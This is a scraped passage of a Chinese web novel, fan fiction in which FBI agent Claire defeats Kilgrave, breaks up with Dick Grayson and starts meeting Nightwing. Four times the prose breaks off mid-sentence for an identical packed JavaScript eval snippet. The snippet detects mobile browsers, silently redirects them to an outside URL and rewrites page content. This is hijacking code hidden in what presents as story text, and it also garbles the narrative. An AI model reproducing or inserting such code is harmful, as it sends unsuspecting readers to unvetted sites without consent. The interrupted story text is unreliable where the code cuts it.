海莉一个小时内刷新十次，将所有只出现了不到一分钟的照片保存。在珍妮特失踪后，她的预备役州长继父害怕珍妮特的意外影响竞选，他按下了这起失踪案。她们的妈妈也沉默不语。 没有人会关心珍妮特了，除了她，这个嫉妒、憎恨着珍妮特的妹妹。 海莉通过那些恋爱照片找到了珍妮特和紫人。 “你以为世界上所有人都会为你着迷吗？”她冲珍妮特露出一个充满恶意的笑，“你赢不了我，我们有同一张脸。” 她成功留在紫人——和珍妮特身边。 握着找到的夜鹰1911，海莉冷漠地盯着珍妮特，她不是姐姐，她是敌人，是紫人的一具完美人偶。 “怎么，你要和紫人打小报告，揭发我吗？” 珍妮特的眉头一皱，她似乎对海莉的无理取闹感到厌烦，“你没必要凡事都和我对着干。” “是你和我对着干！”海莉压抑地低喊，“看到我一次次失败，你很得意吧？” 珍妮特只是看着她，平淡道：“我没有这么想过。” “你有，”海莉恶狠狠地瞪着她，“你一直在看我的笑话，没有我的失败，怎么能衬托出完美的珍妮特的成功呢？” “是你自己擅自把我放到敌人的位置上，”珍妮特不耐烦地说，“好像我是一个打压姐妹的恶毒女人。搞清楚，我从来没有在心里和你比较过！” 她还要接着说些什么，却不说了，因为站在她对面的海莉眼里流下一滴眼泪。 珍妮特的瞳孔颤动着，泛起一圈圈波光。 海莉用掌根擦掉流淌到下巴的水痕，她傲慢地昂起下巴，“哼，你又赢了，完美的珍妮特是一个连嫉妒和愤恨都没有的圣人。” 她堂而皇之地收起夜鹰1911，撞开挡在门口的珍妮特。 “如果你要去和紫人告密，”她恶声恶气地威胁，“我保证我会先开枪打你！” 珍妮特站在原地看着她走远，她扶着门框，有意无意地忘记了和紫人报告这件事。 这段伏笔在此刻揭晓，海莉开枪击中了紫人的小腿，换来了克莱尔的喘息之机。 海莉此前从没摸过枪，她能记得打开保险已经够夸一句自己是天才了！ 理所当然，珍妮特又一次赢过了她。她从后面握住海莉持枪的那只手，枪口瞄准紫人的背心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185423|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枪口焰一闪而过，子弹击中紫人的后背，贯穿他的胸口。 鲜血飞溅，紫人的怒吼接近受创的哀嚎。 正如迪克对他的分析，他是一个欺软怕硬的小人，只敢和比自己弱小的人作对。 “杰西卡，拦住她们！”他下达最终指令，狼狈地冲出囚室，对拦在门口的双胞胎大喊，“滚开！” 海莉和珍妮特不由自主地挪开脚步，如同雕塑一般钉在原地，执行紫人的命令。 混乱的现场使紫人的精神控制露出不稳定的破绽，杰西卡的动作迟钝又僵硬，好似她的关节生了锈。 克莱尔解开令敌我双方都十分痛苦的关节技，喘息，“你很皮糙肉厚，那太好了。” 她抓住杰西卡的头发，猛地朝墙上撞！ 一下、两下、三下！ 她松开手，昏厥的杰西卡倒地，惊起一声闷响。 克莱尔夺过海莉手中的夜鹰，向紫人逃跑的方向拔足飞奔。 同时别墅客厅传来枪声与火药爆破的巨响，迪克和周两人一起撞开破损焦黑的大门，形象糟糕地摔进客厅。 克莱尔只朝他们扫了一眼，潦草地交代：“楼上有人，保护好她们！” 她穿过玻璃花房，踩翻盛开的鲜花与茂盛的枝叶，花房那扇从不对她们打开的门开着，逃兵钻了进去，门后的通道直达地下深处，他以为自己能逃走。 没用。克莱尔跑得比他更快，精神比他更亢奋，意志比他更坚定。她的愤怒胜过他的恐惧，她追上他了！ 克莱尔拽住紫人的衣领，一拳打翻紫人的身体，接着又是一拳，又一拳。 她的指关节渗出血，血蹭在紫人鼻青脸肿的脸上，和他口鼻冒出的血混在一处。 克莱尔冷笑着，嘲讽着。 “来啊，用你引以为傲的超能力解决我，不然我就会解决你！” 紫人已说不出清晰的话语，他肿胀的脸颊与嘴唇抖动，拼尽全力去下令。 “停手！停手！别打了！你为什么不听我的话——！” 鲜血越来越多，溅满墙壁，克莱尔不停地挥拳，她分不清疼痛来自哪里，来自被杰西卡重击的身体，还是虐打紫人的拳头。 紫人的哀嚎声逐渐变小，他没力气再对克莱尔下令，死亡正无限靠近他。 一双手牢牢地扣住克莱尔的腰，像一张又大又厚的毛毯，完全地裹住了她。 迪克紧紧抱住克莱尔，低声安抚：“没事了，已经没事了。你拯救了自己和其他人，你是了不起的人。” 他探出手，把克莱尔染血的拳头包进掌心，“听我说，吸气，呼气。再来，吸气，呼吸。” 克莱尔跟着他的话，极重极深地喘气。 她缓缓闭上眼，剧烈起伏的胸膛慢慢平复。 她听到迪克的呼吸声，这是暗道陷入安静的证明。 克莱尔站直身体，挣脱迪克的怀抱。她走到紫人面前，居高临下地道：“你说错了，不是恐惧。” 那坨紫色的躯体动了动。 克莱尔的脸颊抽搐两下，她吐出一口血沫，“是嫉妒。你最好记住这个新的知识点。” 14.第 14 章 身穿战术马甲的FBI们如同辛勤的蚁群，在别墅内外进进出出。他们用一副担架抬走了晕厥的紫人，并在派翠克的建议下穿上了防护服，将紫人关进密闭的押送车内。 克莱尔独自站在别墅外一棵高大的橡树下，慢吞吞地拆哈伦递给她的燕麦能量棒。 她两只手都在发抖，半天才艰难地撕开包装袋一角。 卡莉法朝她走过来，不忍直视克莱尔那张满是煞气的脸。她忍了忍，开口：“你太莽撞了，肯定有更好的针对他的方法。” “别墅里的资源有限，有些条件无法达成。”克莱尔咬了一口能量棒，“我也不想和他慢慢耗。” 卡莉法的表情很精彩，出于对伤者的尊重，她只脱下自己的西装外套，披在克莱尔的肩头。 “想办法处理你的那把枪。”她嘴唇蠕动，用其他人听不到的声音说，“它可没有登记。” “你不能想办法弄出来给我吗？”克莱尔腮帮鼓鼓地嚼着能量棒，“那是巴希尔送我的礼物，刚到手就弄丢，他会杀了我的。” 卡莉法冷笑：“就他，还能动得了你一根手指。” 她松松领带，单薄的白衬衫不够抵御傍晚的凉风，但她没把克莱尔肩头的外套要回来。 强撑风度的上司冷着脸道：“我想想办法。” 一组鉴识人员从她们面前走过，卡莉法当即转移话题，“隐藏在花房的地下通道深处有一间密室，密室另一端的通道通往滑铁卢港口。” 滑铁卢港口，布鲁德海文大名鼎鼎的走私专用港口，那里几乎没有正常的客人。 克莱尔将卡莉法的外套扯紧，“密室里有什么？” “一把束缚椅。” “没有别的东西了？” “就这些。”卡莉法唇角轻抿，“我打算从滑铁卢港口查起，但我不抱希望。” 克莱尔皱眉，扭头盯住面不改色的上司。卡莉法镇定道：“是的，你不参与本次调查。你休假了，克莱。” 克莱尔不敢置信，“你觉得我回去能睡得着？” “你不仅要休息，还要去看心理医生。”卡莉法的决定不容置疑。 她没给克莱尔反驳的机会，看到珍妮特和海莉走近，她无情地抛下满肚子意见的克莱尔，加快脚步走开。 双胞胎拦在欲言又止的克莱尔面前，克莱尔心中痛斥卡莉法的狡猾，对两人浅浅地勾了下唇角，“嘿。” “谢谢你，”海莉别别扭扭地说，“我没有持枪证，你们会把我抓起来吗？” “只要你不说，我们就当它没发生过。”克莱尔一哂，“顺带一提，我建议你回去以后去靶场练练。” 珍妮特接话，“我有常去的靶场，可以推荐给你。” 海莉张张嘴，没说话，她的脸撇向看不到珍妮特的另一边。珍妮特对她的抗拒视若无睹，“如果你想了解我的近况，不用视奸我的小号，你有我的联系方式。” “你别自作多情。”海莉说，声音不自觉变小。 珍妮特没管她，伸手与克莱尔握手，“谢谢你，我以后还能联系你吗？” “问海莉。”克莱尔开玩笑道。 她又与海莉拥抱，目送两姐妹坐上FBI的雪弗兰。卡莉法联系了珍妮特的候选州长继父和海莉的牙医父亲，她们很快就能在不引人注目的情况下平安回家了。 第四位访客造访橡树下，克莱尔略有些不自在，“好久不见，周。” 来者面色严肃，看不出半点久别重逢的感慨，“好久不见。” 他的声音终究泄露出不安的心绪，“我们每一次见面都非得选在这么紧张的情景下吗？” 克莱尔露出一点笑意，“我天性追求刺激。” 她张开手，“要不要一个来自前任的友好拥抱？” 周跟着微笑，她们克制又礼貌地拥抱了一下。周称赞道：“你的眼睛很漂亮。” “这句话你在我十八岁的时候说过一次了。”克莱尔说。 “我的意思是，我准备了一副墨镜送给你。” “哦，太棒了。”克莱尔扬眉，“作为感谢，临走前，让我请你吃一餐饭。” “我明天就走，”周遗憾道，“陪我的朋友一起去哥谭。这顿饭就欠到下次吧。” 他呼出一口气，仿佛此时才鼓起勇气，平静、温和地打量伤痕累累的克莱尔，“我来布鲁德海文，只是想见你一面。” 克莱尔不擅长应对如此温情的场面，她拘谨地笑笑。 她望向远处，昏迷的杰西卡躺在一副担架上，被送往医院接受治疗。 周跟着她一起扭头，看到迪克抱着一个纸袋走向他们。他酸溜溜道：“我该退场了，是吗？” “别这么说，”克莱尔不走心地安慰，“你们都是前男友。” 周无奈地摇头，不自觉地弯了弯唇。 他和迪克擦肩而过，克莱尔双手环胸，“我不想喝咖啡。” “我没买咖啡。”迪克说，他打开纸袋，拿出消毒湿巾和一双毛绒绒的小怪兽拖鞋。 他蹲在克莱尔面前，道：“抬脚。” 克莱尔一下失去了语言能力，她的喉咙里卡了一团气，让她很难发出声音，“你干什么？” “你没穿鞋，女士。”迪克撕开湿巾，一只手握住克莱尔的脚踝，“你没感觉到冷吗？” 被紫人囚禁在别墅的这几天，克莱尔一直穿着她新买的长裙，店员给她搭配了一双乐福鞋。为了方便打架，裙子被她撕短。而那双鞋也实在不适合大战超能力者这种激烈的场景，克莱尔把它扔在囚室里，光着脚一路追进地下通道，把紫人揍成一张扁扁的饼。 她感觉不到冷，因为愤怒燃烧了她的每一滴汗水。 有人比她更早发现了她的疲惫。卡莉法给她披上了外套，迪克为她带来了一双鞋。 迪克的手对比她受凉的皮肤，温度太高了。克莱尔尴尬地等着迪克动作，他擦干净她右脚上的泥土与血迹，给她套上一只温暖的棉拖，然后是左脚。 克莱尔低头，两只绿色的小怪兽张牙舞爪地咧开大嘴，露出两口绒布做的白牙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192565|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她抬起头，迪克正站直身体，他只比她稍微高一点，克莱尔每次都能平视他的眼睛。 她有说过吗，她喜欢他的眼睛。 “你知道吗？”克莱尔说，语调平平，“我们不可能复合了。” 迪克面上的轻快与温柔尚未散去，他像是没听懂克莱尔的话，懵懂道：“什么？” 克莱尔重复了一遍，“我们不可能复合了。” 黄昏交织的天际被伸展枝桠的高大橡树分割成绛紫与橙红的两块，像调酒师端上吧台的一杯鸡尾酒。迪克与克莱尔是酒杯中诸多不起眼的冰块之二，没人注意她们。所以橡树下的空间一寸寸冷下去，成为冰冷而辛辣的酒液。 迪克惊愕又茫然，一股莫名的情绪冲上脑袋，使他控制不住音量，“为什么？” 哦，是愤怒啊，原来他在生气，他很生气。 克莱尔眨了眨眼，她站在迪克对面，迪克没办法不去注意她青黑的眼圈和破皮的嘴角。 这时候他还在想：他应该再往远处找找，也许能找到药品店。 “因为重复同一个错误很无聊，也很麻烦。”克莱尔说。她与迪克对视，迪克试图在她的眼睛里捕捉到一点说谎的痕迹，没有，她没说谎。 她靠着橡树，面露倦怠，“实际上，我们并不了解彼此，我们只是按照最美好的幻想塑造对方在自己心中的形象。你是如此，我也是如此。这种误差蒙蔽了你的双眼，让你没发现真正的问题所在——总有一天，它会毁了我们的感情。” “所以，”她冷静地、冷漠地给出结论，“停在这里就很好。” 迪克不明白，他想不明白，也不愿意想明白。 他和克莱尔之间隔着一层薄薄的纸，他曾以为那张纸一戳就破，只需要他伸出一根手指轻轻一点。 可原来那是一张网，会把先伸手的那个人兜进陷阱里，不得安宁。 他不该质问的，附近有很多无关者，他的口不择言容易暴露克莱尔的隐私。但迪克的情绪管理失控了，他忘了他们所处的场景。 “那夜翼呢，为什么夜翼可以，你凭什么认为夜翼是适合靠近你的那个人？” 克莱尔不闪不避地望着他，她的眼睛里有一种东西，使得迪克的怒气偃旗息鼓。他知道那片幽静的湖水下藏着宝藏，可湖水太深，光线太暗，他无论如何都无法抵达湖底，挖不开水下的淤泥。于是湖里的宝藏成为了一个秘密。 光是想到她，就令他感到难过。 他没等到克莱尔的回答，她眼底的情绪消退得太快，迪克几乎以为那是自己的错觉。 他把纸袋塞给克莱尔，低声道：“里面有矿泉水和面包。” 夜色浓郁厚重，倾泻而下，橡树的枝叶在风中摇晃，如同狰狞的鬼影。 冷风扑面，迪克畏惧地缩起肩膀，双手插兜，他觉得很冷。 克莱尔打开纸袋，矿泉水和面包都是她喜欢的牌子，她僵硬地拧开瓶盖，抿了一口水，润润喉咙。 今晚真是太冷了，她想立刻躺回床上，闭眼休息。 15.第 15 章 清晨，迪克在布鲁德海文中央火车站送别派翠克和周。 他转身扔个垃圾的空档，派翠克又露出了看好戏的表情。 “他失败了。”他幸灾乐祸地评价。 “什么？”周疑惑地道。 派翠克已经变成了看不见摸不着的幽灵，不知躲去了哪个角落。 迪克回过头，身后只剩下周一个人。他四处张望，“简去哪儿了？” “他逃走了，害怕你找他秋后算账。”周坚定地说。 迪克胡乱搓了搓自己的头发，“我是应该找他诉苦，我居然听了他的撺掇。我要烦死他的耳朵！” 周抬头看了一眼火车站上方的显示屏，开往哥谭的火车将在半小时后发车。 “嘿，”他叫住迪克，“有兴趣和我聊聊吗？” 迪克苦笑两声，“我们要成立失败前男友联盟吗？” “那我肯定比你更失败。”周无奈地扯开嘴角，“我和克莱尔没有真正意义上地交往过。” 迪克打好腹稿的比惨大会演讲稿卡在喉咙里。 “哇哦，”他说，“哇哦……不，我没有嘲笑你的意思。” 周面无表情，“你应该请我吃一个冰激凌。” 半分钟后，他们一人拿着一个草莓甜筒，坐在候车厅的长椅上。 周从头说起：“我年轻时混过帮/派——我知道，这很蠢。当时，克莱尔的一个大学同学失踪了，她认为那个女孩的失踪与我所在的帮派有关。” 迪克露出惊讶的神色，周努力掩饰自己的羞窘，继续往下说：“她故意和我交往，套取情报，我很轻易就上了她的套——抗拒她的亲近真是一件很难的事。” 迪克感同身受，“谁说不是呢。” 两人忧郁地啃着甜筒，为同一个女人深深叹气。 “后来，她找到了那对私奔的情侣。那天晚上她请我吃了一餐饭，在餐桌上开诚布公地告诉了我所有真相，劝我离开帮/派。”周说，“她选的餐厅很难吃，我们的分手也不愉快。” “那段恋爱经历是假的，她另有所图。我，我呢，直到我们分手后，我才敢承认，我喜欢她，我一直保存着她留给我的电话号码。” “时间过去太久了，”周一点点吃完冰激凌，融化的糖水黏黏糊糊地淌到他的手上，“她以前总是戴着蓝色的美瞳，遮掩自己特殊的瞳色。现在她走过了那段青涩的时光，我也一样。” “我只是……后悔。”他盯着手背上粉色的糖水发呆，“我不了解真实的她，这让我每每想起往事，都止不住无边无际的幻想和猜测。” 火车站的广播开始催促旅客检票，周用纸巾擦干净手，与迪克告别，“别把我的话放在心上，你就当是听了半小时没用的牢骚吧。” 他上车后，透过车窗仍能看到迪克向他微笑挥手。 克莱尔的眼光一向很好，格雷森的确是一个讨人喜欢的家伙。 他回以微笑，在狭窄的过道中穿梭，找到自己的座位。派翠克就坐在他隔壁，手里拿着一杯香草圣代。 周脸上又露出被派翠克捉弄后无奈又恼火的神情，派翠克举起塑料勺，促狭地笑：“心理治疗课程是不是很顺利？” “我要回去告诉里斯本。”周平静地宣布。她会用拳头治疗派翠克的鼻子，太好了。 派翠克无辜地扭过脸，过了一会儿，他按耐不住自己躁动的心，道：“我赌他们会继续纠缠下去。” 周果然对这个话题感兴趣，朝派翠克探过半边身体，“我觉得不会。” “五美元？” “五美元。” 派翠克笑而不语。他赢定了。 火车消失在铁轨尽头，驶向哥谭。迪克跨上机车，赶往布鲁德海文警察局，他希望今早海文的交通状况能比泡发一整晚的麦片好一点，这样他就不会迟到。 迪克知道周在暗示什么，他知道他想表达的遗憾，以及对迪克的期望。 迪克只是刻意不去想自己和克莱尔之间的问题。恰好，他很忙，单是警局的工作和日常的夜巡就消耗了他一大半精力，同时他还在追查紫人来到布鲁德海文的原因。 无意冒犯，但夹在哥谭与大都会两座超大经济体中间，没人会想起布鲁德海文，除了干坏事的时候。 他在高速行驶的火车上大战走私□□，在暴雨倾盆的天台掀翻一个又一个蒙面杀手，在烈火燃烧的贫民窟帮助衣不蔽体的流浪汉们逃离火场。 每一天、每一天，拳头与子弹填满了他的夜间生活。太阳升起，他脱下义务警员的制服，换上布鲁德海文警局的制服，新的人需要他帮助，新的麻烦需要他解决。 时间不知不觉流逝，他们有一个星期没有见面，无论是“迪克”还是“夜翼”，他们都离克莱尔躲得远远的。 布鲁德海文蓝色的深夜里，夜翼由一个高空辗转至另一个高空，唯有夜空与海不变，永远温柔克制地凝视着他。 附近的道路有点熟悉，夜翼后知后觉想起，被查封的红心酒馆就在这条街上。 曾经照亮他和克莱尔的那盏路灯坏了，昏暗的街道上，街角的一家披萨店亮着光，食物的香气源源不断地从街道尽头飘来。 夜翼今晚跑遍了布鲁德海文，眼下他终于可以松一口气，拖着伤痕累累、疲惫不堪的身体向披萨店走去。 透明的玻璃店门内透出柔和的光，柜台前站着一个人。金发、宽松的旧外套、工装裤和马丁靴。 夜翼下意识停住脚步，可那人敏锐地察觉到了他的目光，克莱尔回头，一眼捕捉到披萨店外的身影。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197360|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过老板递来的披萨盒，对他做了一个口型，“等着。” 她多要了一杯饮料，端着两盒热气腾腾的食物走出店门，把饮料递给夜翼，“拿好。我们找一个没人的地方吃东西。” 生锈的消防梯踩一脚都吱嘎吱嘎响，夜翼用飞索把食物和克莱尔一起带上天台。 他应该找个借口离开，坐在天台边缘时，夜翼这么想。 他接过克莱尔撕开的披萨，苦笑着意识到自己踏上了一条不归路。 时隔半个月，他们在同一个天台，分享同一家店的食物。 夜翼躲在多米诺面具后观察克莱尔的动作，他想问她断掉的肋骨有没有长好，现在是休假还是工作，能否摆脱紫人带给她的阴霾。 他都没有问。 冰凉的触感激得他一颤，夜翼下意识后仰拉开距离。冰可乐追上来，贴着他疼痛的半张脸，克莱尔提醒道：“你的下巴肿了。” “我不会告诉你，我差点用脸着地。”迪克虚弱地干笑两声。 “你可以先用可乐冰敷，再把可乐喝掉。”克莱尔说，“也许换成牛奶更好。” 夜翼握着可乐罐，冰凉镇压了痛感，他不由自主地放松下来，问道：“你最近过得怎么样？” “没有非常差。”克莱尔耸肩，“肯定不会比你更糟糕。” “可惜这里没有镜子，你看不到自己的脸。”她毫不留情地揶揄，“我真怀疑上头是不是有人给你们发工资，能让你容忍超负荷工作的高压状态。” “是的，蝙蝠每个月会根据我们的绩效考核发奖金，”夜翼一边敷着下巴，一边抓起一把薯条，“嘘，别告诉其他人。” 她们哈哈大笑，用可乐和薯条碰杯，头顶是灰压压的云层，脚下是灯火如星的街道，远处是宁静入睡的海湾。 问题像气泡，再次从夜翼的心底浮上来。 为什么“迪克”不可以，为什么“夜翼”可以？ 克莱尔轻轻摇晃可乐罐，依据重量判断，可乐只剩最后一口。氛围很好，她和夜翼相处很愉快。 她问：“你想不想找点乐子，Wing？” 夜翼迟了一瞬，没有回答。 没关系，他的回答不重要。 克莱尔含住最后一点可乐，搂住他的脖子，吻住他的嘴唇。 这是一个清爽的、刺激的、苦甜味的吻。 多米诺面具后的眼睛惊愕地瞪大，他竟然像一个从没谈过恋爱的毛头小子般手足无措，没能第一时间推开克莱尔。 一个星期的刻意回避似乎造成了反作用，夜翼没办法拒绝她。 他闭上眼睛，紧紧回抱住克莱尔，清晰地认识到自己正向错误狂奔不止。 所有事情都将滑向无可挽回的深渊。 夜翼完蛋了。 16.第 16 章 看心理医生是每个特工和警察都不得不品尝的工作生活的一环。 克莱尔觉得没什么用，她只是七天去见一次心理医生，蹭咨询室的茶水。卡莉法坚持要她每周都到咨询室报道，哪怕克莱尔从来没向医生吐露埋在心底的任何秘密。 “对一个陌生人毫无保留地展示自己的内心世界，就像赤/身/裸/体在大街上行走一样。”克莱尔评价。 “所以，我算是你给自己挑的心理医生吗？”夜翼问，“每个你去见心理医生的晚上，你都会约我见面。” 克莱尔把喝空的啤酒罐捏瘪，懒洋洋地仰着脖子，“比较好听的说法是男朋友，比较难听的说法是男性朋友，你选哪一种都可以。” “我不记得你有向我表过白。” “是吗？我也不记得了。”克莱尔把一袋巧克力豆砸到夜翼身上，大方道，“等你心情不好的时候，也可以找我，我愿意倾听你的烦恼。” “得了吧，我不会给你嘲笑我的机会。”夜翼说，他没动桌上的啤酒，单手打开了一罐气泡水。 克莱尔扬眉，“你肯定对我有误解。”她把皱巴巴的啤酒罐收进脚边的垃圾袋里，方便等会儿带走。 游艇依旧卡在某一道流程里，克莱尔悲观地认为自己下次见到它会是三年以后。这让她的小港口变成了一个私密安静的空间。 她在栈道附近搭了一张桌子和两把椅子，桌上堆满零食和酒水。她和夜翼每周在这儿碰一次面，像布鲁德海文的潮汐，每到一个特定的时间，便会回到特定的地点。 她们有时在傍晚碰面，燃烧的夕阳格外美丽，黄昏在身旁的海面上燃烧。 有时见面的时间拖延到晚上，克莱尔点亮栈道前的小灯，一点灯火吸引飞蛾不停朝灯上撞。 夜翼不来她也不恼火，夜翼赴约她就和他说说话。 她第一次向夜翼发出邀请时，夜翼错过了约定的时间，他迟到了三个小时。他知道克莱尔不会等他，出于某种奇怪的心理，他在天明时分到达港口。 栈道延伸向海的尽头，一团模糊的影子坐着。克莱尔搬了一把椅子放在靠海最近的位置，喝着啤酒等海上的日出。 那天天气晴朗、秋高气爽，她一定能看到一场壮丽的日出。夜翼远远地等待，直到恢弘的橘红色破开紫灰的海面，在翻涌的海的另一边升起， 云朵、船只与栈道尽头的克莱尔都被勾勒出一层浅浅的金光，然后，日出吞没了她们，夜翼悄无声息地离开。 他忽然明白了克莱尔为什么会坚持每周玩笑似的碰面。她和夜翼之间一直没有一个明确的关系定位，他不敢问，她没有说。 事实原来是如此，布鲁德海文不能算是一个对外来者友善的城市。她、他、她们都需要一个不用袒露秘密、不用紧绷神经的空间。这是克莱尔没有在“迪克”面前表现过的，夜翼心里把这描述为“休息室”。 于是他默认了“休息室”的规矩，每周都在港口和克莱尔漫无边际地闲聊。他们各说各的，不指望另一个人能给自己完美的解决方案，也知道对方不会无穷无尽地探究自己的隐私。 不插手，是克莱尔与夜翼微妙的默契。 “你今天点了豪华装的寿司外卖，”夜翼灵活地使用筷子，夹走一片三文鱼，“看来你这周有值得庆祝的事情。” “是的，我重新开始接案子了。我的上司卡莉法从BPD手里给我抢了点活儿。”克莱尔挑眉，“它的另一重含义是，我再也不用去见我的心理医生了，真棒。” 夜翼的另一重身份很了解海文警局的种种毛病，他若有所思，“BPD都嫌弃的案子，很棘手吧？” “不，警局咬得很死，不愿把案子分给我们。”她没有多说，而是用筷子别住夜翼的筷子，和他争夺最后一块寿司。 两双筷子在半空中打架，噼噼啪啪。夜翼用空出来的那只手偷走了鳗鱼寿司，得意地冲克莱尔笑。 克莱尔意味不明地勾起嘴角，当夜翼发现鳗鱼寿司是一个陷阱时为时已晚，辛辣呛鼻的芥末味直冲天灵盖。他痛苦地扭曲脸色，半天说不出话。 克莱尔两手一摊，“我阻止过你了，倒霉蛋。” “怎么会有人类偷偷在寿司里面藏一窝芥末？”夜翼疯狂灌水，勉强压住鼻腔的辛气，愤愤控诉，“小气鬼！” 克莱尔的笑声在空旷的港口回荡，她显然从捉弄夜翼这件事情上获得了不少乐趣。 笑够了，她收拾好所有垃圾，提起垃圾袋。 “再见，甜心。”她将垃圾袋甩进街边的垃圾桶里，好似一个充满电的机器人，称得上是精神振奋地踏进灯光外的黑暗里。 正如夜翼所想，克莱尔很满意她和夜翼目前的相处模式。她无意探究夜翼面具下的小秘密，双方的交往恰到好处地保持在一个克制又舒适的距离，很好。 她没告诉夜翼，自己正在调查的是一起性质恶劣的虐/杀案。死者被强迫咬住台阶，杀手从后方踩踏他的后脑勺，他在极致的痛苦中死去。 很典型的黑/帮处刑手法，克莱尔能理解BPD奇怪的态度。 联邦调查局驻布鲁德海文办公室新成立不久，办公室主任卡莉法是被扔过来养老的权力斗争失败者，这种情况下她们根本拿不到本地帮/派的一手资料。 卡莉法费尽心机，才从几个良知未泯的警察嘴里套出一些情报——据说那些好警察中包含迪克，他提供的信息最详细。 克莱尔婉拒了上司的打趣，她有几个怀疑的帮派分子，这段时间都在调查他们的行踪，并锁定了其中一人。他的外号是“秃鹫”，在地下世界赫赫有名，是一个手上沾满鲜血的帮/派处刑人。 秃鹫喜欢三样东西，钱、酒和男人，布鲁德海文最大的同性恋酒吧约等于他半个家。克莱尔盯了他五天，确定零点以后是秃鹫的猎艳时间，他喜欢带不同的男人到附近的宾馆开房——一个劫持绑架的好机会。 她给自己换了一张脸，肤色涂黑，瞳色改蓝，额头、下巴和鼻梁用油性粘土捏圆捏方。再照镜子，镜中的女人已看不出克莱尔的模样。 伪装成一个喜欢女人的女人没什么难的，克莱尔志得意满地出发。 马丁靴刚踩上酒吧脏兮兮的地板，无数饿狼般专注到可怕的目光在一瞬间聚焦到克莱尔身上脸上，每一双炯炯有神的眼睛都代表一个或婀娜多姿或清爽帅气的女性。 这家酒吧同时接待男性和女性，酒吧里的男人沉迷于和同性接吻调情，甚至懒得朝克莱尔瞥上一眼。 克莱尔走动，那些密集的目光便也随着她移动，如同舞台上的聚光灯。她不动声色地拉开吧台前的座位，在酒吧为数不多的女性们的注视下汗流浃背。 立刻，两个美女一左一右地贴了上来，占据克莱尔左右两边的位置。 金发美女黏在克莱尔肩头，“你是一个人来的吗，宝贝？” 纹身美女不甘示弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205858|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，轻轻抚过克莱尔的手背，“你是第一次来这儿吧，我之前没见过你。” 克莱尔背上发起一层冷汗，鸡皮疙瘩爬了一胳膊。她下意识就想缩回手，理智控制住她。 这是一间同□□，来这儿的人每一个都抱着不纯洁的目的——等等，这才是本次跟踪任务的难点吗？ 第三个短发美女和她的女伴一起朝这边走来，预感到危机的金发美女凑近克莱尔，气息甜蜜，“我可以和大家一起玩，你想试试吗？” “呃……我……呃……”克莱尔一句话也说不出来，她大脑的另一部分在思考自己为什么不选择躲在酒吧后巷把秃鹫直接打晕带走。 她的目光焦急地在酒吧人群中搜索秃鹫的身影。 秃鹫来自终尾零使，他们把布鲁德海文划为“领土”，统一穿着背后印有“00”的黑色上衣。 她没找到“00”，秃鹫今天居然不在酒吧里。 克莱尔试图起身，“抱歉，女士们，我想找的人好像不在这里。” “哦，她害羞了。”金发美女咯咯地笑出声。 纹身美女抱住克莱尔的胳膊，把她拽回来坐着，“放轻松，大家都是过来找伴儿的，我们不会吃了你。” 克莱尔很少后悔，她正在后悔。 她急需一个脱身的办法，一张熟悉的脸撞进她的视野里。 克莱尔差点没认出来那个伏在卡座里喝得醉醺醺的女人是杰西卡。她奇特的粉紫色头发和双眼产生了一些变化，此刻都是不起眼的深棕色。 同样有好几个女人围在她身边，一杯接一杯地轮流和她拼酒。 克莱尔：“……嘶。” 她敢说杰西卡进来前都没搞懂这是一间同性恋酒吧。 她烂醉如泥，旁边的女性扶起她挪出卡座。 如果这么做的是一个男人，他能得到的只有杰西卡恐怖的拳头。 但杰西卡面前的是一个女人，同性关系是杰西卡目前的知识盲区。 克莱尔深吸一口气，迫不及待地挤开令她恐惧的两位美女，穿过人群抓住杰西卡的手臂。 “杰西卡，原来你在这里，不是说好了等我的吗？”她挤着嗓子说话，轻巧地把杰西卡从和她喝酒的女性手中捞出来。 后者非常不满，“嘿，你！” 她在克莱尔皮笑肉不笑的诡异神色中退缩了。克莱尔架住杰西卡的手臂，阴阳怪气，“好了，酒鬼，我们该走了，和你的新朋友说再见。” 